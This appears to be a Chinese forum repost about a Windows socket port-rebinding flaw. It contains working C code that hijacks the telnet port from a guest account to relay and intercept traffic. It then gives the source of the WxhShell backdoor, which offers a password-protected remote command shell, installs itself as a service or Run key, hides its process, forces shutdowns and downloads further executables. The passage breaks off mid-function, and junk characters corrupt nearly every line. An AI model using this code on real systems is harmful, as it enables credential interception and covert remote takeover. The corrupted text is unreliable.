在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]}pAZd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L+Gi uT
Y G/O saddr.sin_family = AF_INET;
A:\_ \B%< e 8^%}\F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.*?)L3n+t hVdGxT]6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}tJMnq/m($ CVZ4:p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7
6HB@'xY !iAZEOkRR 这意味着什么?意味着可以进行如下的攻击:
<9x|)2P fVYv 2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O O-Obg^ %;#9lkOXWH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
I*KJq?R OqX+R4S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&`_|[Y ]H _zLEHEZ- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'cY@Dqg1
9y*(SDF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+A%zFF3 #2+hu^Q- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3*R(&O6} n65fT+; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d;a"rq@a) 7o-}86x# #include
%5;kNeD\Fq #include
Up>,~bs] #include
"WqM<kLa #include
qz 29f DWORD WINAPI ClientThread(LPVOID lpParam);
xzRC % int main()
1?r$Rx<R {
BT(G9Pj; WORD wVersionRequested;
hP/uS%X DWORD ret;
<JZa WSADATA wsaData;
(CE2]Nv9") BOOL val;
.yb8<q s SOCKADDR_IN saddr;
tfv@
)9 SOCKADDR_IN scaddr;
fVq,? int err;
YGi_7fTyc= SOCKET s;
F|&mxsL SOCKET sc;
SNV;s, int caddsize;
mN#&NA HANDLE mt;
kEg~yN DWORD tid;
:0Fwaw9PH" wVersionRequested = MAKEWORD( 2, 2 );
R~bLEo err = WSAStartup( wVersionRequested, &wsaData );
eh*F/Gu if ( err != 0 ) {
d%Ku'Jy printf("error!WSAStartup failed!\n");
:$QwOz^N* return -1;
U27ja|W^ }
L~_zR > saddr.sin_family = AF_INET;
~5Rh7 }U b "Vb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!Tu.A@ V{0 V/Nv saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
94XRf"^ saddr.sin_port = htons(23);
'eoI~*}3WQ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h#8{fr)6 {
s'@@q printf("error!socket failed!\n");
bre6SP@ return -1;
:Czvwp{z }
!" : arK val = TRUE;
1xwq:vFC. //SO_REUSEADDR选项就是可以实现端口重绑定的
&J=x[{R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
S*rc XG6Q^ {
YGLR%PYv" printf("error!setsockopt failed!\n");
BimM)4g return -1;
y)Lyo'` }
,]?l(H $x' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
? oGmGKq //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
D7$xY\0r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Sq2yQSd 3lNw*M|") if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Pq(
)2B {
S[uHPYhlA ret=GetLastError();
" 2@Ys*e printf("error!bind failed!\n");
n]btazM{ return -1;
POQ1K
O }
LZu_-I listen(s,2);
1x|/z,
while(1)
W&^2Fb {
M~!LjJg; caddsize = sizeof(scaddr);
@yjui //接受连接请求
;Y16I#?;Kh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
II_MY#0X if(sc!=INVALID_SOCKET)
Ia)^ {
*$>$O% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
k?=V?JWY if(mt==NULL)
Iyvl6 {
j8p'B-yS printf("Thread Creat Failed!\n");
?r~](l break;
k<S!| }
0 .p $q }
AwL;-|X CloseHandle(mt);
3!B3C(g }
@KYmkxW closesocket(s);
-OP5v8c
f WSACleanup();
YuDNm}r[ return 0;
ts0K"xmY\c }
iF]vIg#h DWORD WINAPI ClientThread(LPVOID lpParam)
]0:R^dHE {
gM3gc; SOCKET ss = (SOCKET)lpParam;
LvS3c9|Aj SOCKET sc;
>Y/1%Hp9 unsigned char buf[4096];
FJ&zU<E SOCKADDR_IN saddr;
("BFI long num;
N:/$N@"Ge DWORD val;
WJL,L[XC DWORD ret;
r^6vo6^ //如果是隐藏端口应用的话,可以在此处加一些判断
P.1iuZ "w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]j:Ikb} saddr.sin_family = AF_INET;
`P4qEsZE>` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
gf2w@CVF>= saddr.sin_port = htons(23);
}fs;yPl, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)+9D$m=P; {
egi?Qg printf("error!socket failed!\n");
G8?<(.pi@ return -1;
z95V 7E }
Bf88f<Z val = 100;
Qi7^z; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J0|}u1?l {
wGQ{ ret = GetLastError();
Vd^`Hv&i return -1;
UwQ3q }
cw <DM%p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3B"rI {
Q<``}:y|> ret = GetLastError();
fhn0^Qc"+ return -1;
"WYcw\@U }
5tl}rmI` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I.e' {
a^5`fA/L, printf("error!socket connect failed!\n");
c\4n 7m,y closesocket(sc);
iVu+ct-iv closesocket(ss);
|/lIasI return -1;
HNuwq\w }
1,`x1dcO!A while(1)
cCV"(Oo[H| {
{Q(6
.0R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"x$S%:p //如果是嗅探内容的话,可以再此处进行内容分析和记录
.Na>BR\F
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Q84KU8?d num = recv(ss,buf,4096,0);
W{m0z+N[B if(num>0)
N<> dg send(sc,buf,num,0);
O x$|ZEh else if(num==0)
=3SL&
:8 break;
#-HN[U?Gs num = recv(sc,buf,4096,0);
=\%>O7c,8Y if(num>0)
qryt1~Dq send(ss,buf,num,0);
3Ob"r` else if(num==0)
D#t5*bwK break;
4+k:j=x }
fZ g*@RR closesocket(ss);
*u{.K:.I closesocket(sc);
1v\-jM" return 0 ;
M9OFK\) }
:M[E-j; 0RSa{iS*A \]OD pi
2 ==========================================================
#!D5DK@+ Gj_b GqF8} 下边附上一个代码,,WXhSHELL
D[#\Y+N MM8)yCI ==========================================================
,m b3H "^D6%I#T #include "stdafx.h"
cT0g, ^& z:G9Uu3H( #include <stdio.h>
0\~Zg #include <string.h>
=W|Q0|U #include <windows.h>
Y)
t}%62 #include <winsock2.h>
.CpF0 #include <winsvc.h>
YYvs~?bAy #include <urlmon.h>
6Rf5 }b^lg&$( #pragma comment (lib, "Ws2_32.lib")
^c7L!F #pragma comment (lib, "urlmon.lib")
w9PY^U.Y3e ::`j@ ] #define MAX_USER 100 // 最大客户端连接数
|B`tRq #define BUF_SOCK 200 // sock buffer
?GC0dN #define KEY_BUFF 255 // 输入 buffer
_INUJc t2SZ]|C #define REBOOT 0 // 重启
aBC[(}Pb] #define SHUTDOWN 1 // 关机
4QVd{ ~3YNHm6V #define DEF_PORT 5000 // 监听端口
_/=ZkI5 j&mL]'Zy #define REG_LEN 16 // 注册表键长度
PYf`a`dH #define SVC_LEN 80 // NT服务名长度
dbXG?K][ v:0i5h&M // 从dll定义API
]1[;A$7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g:clSN, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'~cEdGD9H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
gPi_+-@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>lW*%{|b$^ J@TM>R // wxhshell配置信息
TatyD**( struct WSCFG {
}00e@a int ws_port; // 监听端口
-&A[{m <,> char ws_passstr[REG_LEN]; // 口令
G9[-|[j^N int ws_autoins; // 安装标记, 1=yes 0=no
Jr9}'l8 char ws_regname[REG_LEN]; // 注册表键名
.0|J+D char ws_svcname[REG_LEN]; // 服务名
yW&iUh=0 char ws_svcdisp[SVC_LEN]; // 服务显示名
j&pgq2Kl char ws_svcdesc[SVC_LEN]; // 服务描述信息
.2P?1HpK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]
6gu int ws_downexe; // 下载执行标记, 1=yes 0=no
F1=+<]! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v8IL[g6" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
S_CtEM YC_^jRB8n };
FTfA\/tl(; u@EM,o // default Wxhshell configuration
ZkJM?Fzq struct WSCFG wscfg={DEF_PORT,
dW`D?$(@, "xuhuanlingzhe",
\}=b/FL=U 1,
|<*(`\'w "Wxhshell",
lBdF9F< "Wxhshell",
.'1j5Y-l`N "WxhShell Service",
B# fzMaC "Wrsky Windows CmdShell Service",
I@ k8^ "Please Input Your Password: ",
Jq#Cn+zW 1,
-DnK)u\@ "
http://www.wrsky.com/wxhshell.exe",
hrD6r=JT<~ "Wxhshell.exe"
q':wSu u };
k#(cZ dL`
+^E> // 消息定义模块
^IpiNY/%Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1#<E]<='t char *msg_ws_prompt="\n\r? for help\n\r#>";
}(K6 YL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hI8C XG char *msg_ws_ext="\n\rExit.";
/<$"c"UQ char *msg_ws_end="\n\rQuit.";
d"UW38K{ char *msg_ws_boot="\n\rReboot...";
,no:6 char *msg_ws_poff="\n\rShutdown...";
WLLv a<{ char *msg_ws_down="\n\rSave to ";
%}!}2s.A n4 @a`lN5g char *msg_ws_err="\n\rErr!";
DV\ei") char *msg_ws_ok="\n\rOK!";
C(|5,P#5 +_dYfux char ExeFile[MAX_PATH];
\xxVDr. int nUser = 0;
tl5IwrF6; HANDLE handles[MAX_USER];
'[8b0\ int OsIsNt;
:gq@/COo( PuJ{!S\T7 SERVICE_STATUS serviceStatus;
Vcq?>mH&T SERVICE_STATUS_HANDLE hServiceStatusHandle;
{ NJ>[mKg 9VE;I:NO3 // 函数声明
8!GLw-kb int Install(void);
H|U/tU- int Uninstall(void);
..!-)q'? int DownloadFile(char *sURL, SOCKET wsh);
K, 5ax@ int Boot(int flag);
/AW>5r] void HideProc(void);
B7MW" y int GetOsVer(void);
] <3?=$ int Wxhshell(SOCKET wsl);
1qe^rz| void TalkWithClient(void *cs);
qo-F9u1J int CmdShell(SOCKET sock);
f](uc(8Z int StartFromService(void);
:5{@* int StartWxhshell(LPSTR lpCmdLine);
k)V%.Eobf &2=KQ\HO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!u}3H|6~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
vqOLSE"t*O ~!F4JRf // 数据结构和表定义
~vV)| SERVICE_TABLE_ENTRY DispatchTable[] =
Xb-c`k~_ {
,nR8l {wscfg.ws_svcname, NTServiceMain},
78CJ {NULL, NULL}
4E\ntufo };
V55J[s*6! =awO63j> // 自我安装
@:9fS int Install(void)
~hslLUE {
m8j-lNu char svExeFile[MAX_PATH];
`L#?eQ{ HKEY key;
2^#UO=ct strcpy(svExeFile,ExeFile);
;sR6dT) Jx$#GUl#j // 如果是win9x系统,修改注册表设为自启动
|QOJ9~hxD if(!OsIsNt) {
Y;F
R"~^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?s)sPM? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1`]IU_) 1B RegCloseKey(key);
<-:@} |br if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7EP|X. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rHgdvDc RegCloseKey(key);
` ]P5, return 0;
$>ZP%~O
}
s.^9HuM }
hdtnC29$ }
\41)0,sEy else {
E(!6n= qR Z#6~N/b // 如果是NT以上系统,安装为系统服务
!LIfeL.4h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
xY'qm8V if (schSCManager!=0)
CEuk1$ {
(F[/~~ SC_HANDLE schService = CreateService
O+p-1 C$\ (
A1QI4.K schSCManager,
3E}NiD\V} wscfg.ws_svcname,
O| J`~Lk wscfg.ws_svcdisp,
u] U)d$| SERVICE_ALL_ACCESS,
RC{Z)M{~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
aXbNDj
][ SERVICE_AUTO_START,
n_aNs]C9R SERVICE_ERROR_NORMAL,
W0MnGzZ svExeFile,
mH*@d" NULL,
2Uv3_i< NULL,
iSr`fQw# NULL,
Ivt} o_b* NULL,
CLY6 YB' R NULL
afF+*\xXN );
)@bH" if (schService!=0)
Cld<D5\|f+ {
8| e$ CloseServiceHandle(schService);
*V6QBe CloseServiceHandle(schSCManager);
Sm$j:xw< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
AuDR |;i strcat(svExeFile,wscfg.ws_svcname);
>=~Fo)V!(V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
mKq<'t]^k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
HIX=MprL< RegCloseKey(key);
qE`:b0FT return 0;
gJPDNZ*6pk }
r=DHt&x= }
PM-PP8h
CloseServiceHandle(schSCManager);
}kCn@ }
}-{ b$6] }
`[@^m5?b- te;Ox!B& return 1;
@0ov!9]Rw- }
oB0 8 ] `B,L*m6 // 自我卸载
r'd:SaU+ int Uninstall(void)
<,@H;|mZ {
x'2 ,sE HKEY key;
4" ,
)zDk p584)"[*t if(!OsIsNt) {
nR o=J5tY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X"k^89y$ RegDeleteValue(key,wscfg.ws_regname);
'Gl;Ir^ RegCloseKey(key);
0Q$~k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EItxRHV5 RegDeleteValue(key,wscfg.ws_regname);
dqD;y#/ RegCloseKey(key);
8K.s@< return 0;
EvqUNnjR }
i'!jx. }
cB ab2/ }
Yz2{LW[K else {
BZJKiiD |I}A>XG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Kd/[Bs% if (schSCManager!=0)
"J P{Q {
>HcYVp~G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
TwM1M["3 if (schService!=0)
m|[\F#+C {
nY{i>Y if(DeleteService(schService)!=0) {
NWJcFj_ CloseServiceHandle(schService);
Z[#I"-Q~: CloseServiceHandle(schSCManager);
Iys6R?~ return 0;
HZDk
<aU/! }
{ r6]MS#l1 CloseServiceHandle(schService);
zP:~O }
e{fZ}`=7y CloseServiceHandle(schSCManager);
*MYt:ms }
(|g").L }
;23=p=/h n2n00%Wu[ return 1;
#"Eks79s }
S)"##-~`T ;Ze"<U // 从指定url下载文件
5jn$7iE` int DownloadFile(char *sURL, SOCKET wsh)
?CH?kP {
0 NQ7#A HRESULT hr;
MV0<^/p| char seps[]= "/";
4ef*9|^x# char *token;
_YH<YOrMh char *file;
#0P!xZ'|{ char myURL[MAX_PATH];
2f3=?YqD char myFILE[MAX_PATH];
v78&[ +"YTCzv;t strcpy(myURL,sURL);
W[R]^2QAG token=strtok(myURL,seps);
$zC6(C(l while(token!=NULL)
<\, &:< {
UvPp~N7, file=token;
K4j@j}zK9I token=strtok(NULL,seps);
+jq
2pFQ }
gI)w^7Gi <K.Bq] GetCurrentDirectory(MAX_PATH,myFILE);
ra]!4Kd' strcat(myFILE, "\\");
iD%qy /I/ strcat(myFILE, file);
99F>n[5 send(wsh,myFILE,strlen(myFILE),0);
[#7y[<.P send(wsh,"...",3,0);
T(Y}V[0+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<^#P6 if(hr==S_OK)
J#6LSD@(O return 0;
n&_YYEHx else
QjQ4Z'.r > return 1;
|yLk5e~@- LIr(mB"Y0 }
R]CZw;zS_ nHSTeFI? // 系统电源模块
qPsyqn?Y| int Boot(int flag)
d4d\0[ {
xe(MHNrj HANDLE hToken;
oz%h)#; TOKEN_PRIVILEGES tkp;
;e&! wX-RQ[2X if(OsIsNt) {
{V[Ha~b%* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;US83%* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5\VxXiy0 tkp.PrivilegeCount = 1;
%z1{Kus tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
65lOX$*{- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
pz$_W if(flag==REBOOT) {
c`-YIz)W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
De;, =BSp return 0;
(tJ91SBl }
>RM
0=bO else {
\C|;F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
w3<Z?lj: return 0;
dF$KrwDK
}
+d =~LQ}* }
2[.5o z` else {
-<O JqB if(flag==REBOOT) {
)j\r,9<K+5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0[lS(K return 0;
?^U c= }
F
b1EMVu else {
ab{;Z5O if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
e d_m +NM return 0;
ll_}& a0G }
xYmdCf@H }
gyC^K3} bpGzTU return 1;
HP;|'b }
VR"8Di&) ?;Un#6b // win9x进程隐藏模块
=Qyqfy*@D? void HideProc(void)
6mwvI4) {
.Nc_n5D6 Pow|:Lau! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,`<]>;s if ( hKernel != NULL )
\kxh#{$z? {
TNx _Rc} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\F[n`C"Is ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?k"0w)8 FreeLibrary(hKernel);
T\jAk+$Jo }
mIRAS"Q!m C}9Kx }q return;
.U<F6I:<md }
C]/&vh7ta 6zuze0ud // 获取操作系统版本
k'x#t( int GetOsVer(void)
D
0 {
)R~a;?T_c0 OSVERSIONINFO winfo;
2@fa
rx: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+1x)z~q= GetVersionEx(&winfo);
O5O.><RP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ikr7DBLt return 1;
XYts8}y5 else
"i&fp:E0 return 0;
|IAW{_9)U }
)PwQ^||{ +uELTHH= // 客户端句柄模块
/0
_zXQyV int Wxhshell(SOCKET wsl)
^eobp.U {
|Hfl&3 SOCKET wsh;
=C#*!N73 struct sockaddr_in client;
`T=1<Tw c DWORD myID;
$}db /hY* 9T$u+GX' while(nUser<MAX_USER)
Jns/v6 {
]Ym=+lgi int nSize=sizeof(client);
%0lf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VxkEe z'| if(wsh==INVALID_SOCKET) return 1;
X CzXS. +|9f%f6vp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y_+
SA|s if(handles[nUser]==0)
y[7C% Wj closesocket(wsh);
/,X7.t_- else
OMvT;Vgg nUser++;
} #qQ2NCH }
$.9 +{mz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4j^bpfb, l:)S 3 return 0;
bfhz?,b }
w]F!2b! GoazH?% // 关闭 socket
"ct58Y@ void CloseIt(SOCKET wsh)
T~h.=5 {
t?HF-zQ closesocket(wsh);
# v+;: nUser--;
FJ}gUs{m ExitThread(0);
j-QGOuvW }
lM$t!2pRB >%l:Dw\A: // 客户端请求句柄
^iuo^2+ void TalkWithClient(void *cs)
D&-vq,c {
i+I0k~wY ZL,6_L/ SOCKET wsh=(SOCKET)cs;
t| _{;!^
char pwd[SVC_LEN];
FD))'!> char cmd[KEY_BUFF];
jC4O` char chr[1];
6P^hN%0 int i,j;
~pRs- ~@@
Z|w while (nUser < MAX_USER) {
W6i3Psjsw qW3x{L$c if(wscfg.ws_passstr) {
}1Z6e[K? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
tJAnuhX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WI{ ;#A //ZeroMemory(pwd,KEY_BUFF);
&y\igX1 i=0;
(Igu:= while(i<SVC_LEN) {
#n#HzbT >x*)GPDa // 设置超时
FllX za) fd_set FdRead;
`6}Yqh)) struct timeval TimeOut;
5#2jq<D FD_ZERO(&FdRead);
#Skj#)I" FD_SET(wsh,&FdRead);
p_r4^p\ TimeOut.tv_sec=8;
l|7O)
TimeOut.tv_usec=0;
+<{m45 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%i595Ij-] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%jTw Cdmy.gx^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:]-$dEu& pwd
=chr[0]; KGD'mByt"
if(chr[0]==0xd || chr[0]==0xa) { w,/6B&|
pwd=0; %mu>-h ac
break; '-.wFB;
} zIm-X,~I$
i++; h1*FPsc
} 5VZjDg?
7DZTQUb"
// 如果是非法用户,关闭 socket Z vRxi&Z{?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C/)`<b(
} *E7R(#,yC
+KP_yUq[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fK"iF@=Z`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {[tZ.1.w
#Z0-8<\
while(1) { (kY@7)d'e
kT2Wm/L
ZeroMemory(cmd,KEY_BUFF); {Xv3:"E"O
]=Pu\eE
// 自动支持客户端 telnet标准 ^e%k~B^
j=0; x 'mF&^
while(j<KEY_BUFF) { gH'3 dS!{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >jKjh!`)!e
cmd[j]=chr[0]; 1mix+.d
if(chr[0]==0xa || chr[0]==0xd) { XL~>rw<
cmd[j]=0; |T
y=7d ,
break; G1[(F`t>
} p#=;)1
j++; EZ{\D!_Y
} +q-c8z
/B[}I}X
// 下载文件 U!Mf]3
if(strstr(cmd,"http://")) { `S$sQ&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U6c@Et ,
if(DownloadFile(cmd,wsh)) .
pP7"E4]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,cD1{T\
else 5k~\or 5_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m9!DOL1pl
} A_F0\ EN*
else { }*Zo6{B-
N<n8'XDdG
switch(cmd[0]) { bw5T2wYZ
U(Z!J6{c
// 帮助 XWXr0>!,?
case '?': { I=odMw7Hj
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7>&1nBh. f
break; }LQ\a8]<
} $Elkhe]O %
// 安装 R{`gR"*
case 'i': { QTE:K?
if(Install()) I^:F)a:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bRsc-Fz6
else *IqVY&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }^9paU
break; I&\4C.\>
} ](nH{aY!
// 卸载 AAo0M/U'
case 'r': { &?r*p0MQC
if(Uninstall()) 7UDq/:}Fo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L#!$hq9{_
else ~j]dct7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rKT)!o'
break; > Y]_K
} \HD-vINV;
// 显示 wxhshell 所在路径 N%*9&FjrL
case 'p': { gmDR{loX
char svExeFile[MAX_PATH]; h1c{?xH2r
strcpy(svExeFile,"\n\r"); K"^cq~
strcat(svExeFile,ExeFile); ;j!UY.i
send(wsh,svExeFile,strlen(svExeFile),0); x{?sn
break; 5{>>,pP&
} fp tIc#4
// 重启 1!1DuQ
case 'b': { wHWma)}-z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tUv3jq)n%
if(Boot(REBOOT)) F9O`HFVK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4|=vxJ
else { ;AJ<
LC
closesocket(wsh); `@MPkCy1
ExitThread(0); `V@z&n0P6
} _Fxe|"<^
break; O:,=xIXR
} s-%J5_d f
// 关机 sJv`fjf%8
case 'd': { :P,2K5]y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l1DI*0@
if(Boot(SHUTDOWN)) J?,?fqb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+Zti8
else { UO1$UF!
QC
closesocket(wsh); k% NrL@z
ExitThread(0); .jaZ|nN8`
} >3!DOv
break; LyV#j>gD
} q}sK
// 获取shell &rP~`4Mkp
case 's': { @Kp1k> ov
CmdShell(wsh); =Sa~\k+
closesocket(wsh); |
+fwvi&a
ExitThread(0); K-6p'|
break; +dM.-wW
} 71*>L}H
// 退出 PF67z]<o
case 'x': { v4C3uNW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vbedk+dd?A
CloseIt(wsh); m#;.yR
break; [aHlu[,
} 7JS#a=D#
// 离开 &urb!tQ>&
case 'q': { gW}} 5Xq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); eVrNYa1>H
closesocket(wsh); A6Q c;v+
WSACleanup(); JSRg?p\
exit(1); v4D!7t&v"
break; s.KOBNCFa
} \6i9q=
} jceHKl
} L\YZT|
K(
%UBPoq
// 提示信息 jzQ I>u
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;AltNGcM
} ~ur)fAuF2
} WkP|4&-<
%_)b>C18y
return; ?;fv!'?%
} GBW 7Y
,[^o9u uB
// shell模块句柄 Xj(>.E{~H
int CmdShell(SOCKET sock) qhnapZJ
{ "raj>2@
STARTUPINFO si; v =>3"!*
ZeroMemory(&si,sizeof(si)); 6# R;HbkO
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :/~_sJt C
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )Yrr%f`\
PROCESS_INFORMATION ProcessInfo; ..aK sSm(
char cmdline[]="cmd"; }FZp840
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =uS8>.Qj
return 0; TtZrttCE6
} `!_? uT
N4s$.`
// 自身启动模式 Nl=+.d6Qo
int StartFromService(void) +yvBSpY
{ 0$!.c~
typedef struct F;
0Dp
{ #|q;t
DWORD ExitStatus; ,rXW`7!2
DWORD PebBaseAddress; oR7 7`
